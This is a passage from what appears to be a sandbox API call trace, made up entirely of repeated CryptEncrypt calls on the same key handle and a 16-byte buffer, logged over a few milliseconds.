hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.944] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.945] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.946] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.947] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.948] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, 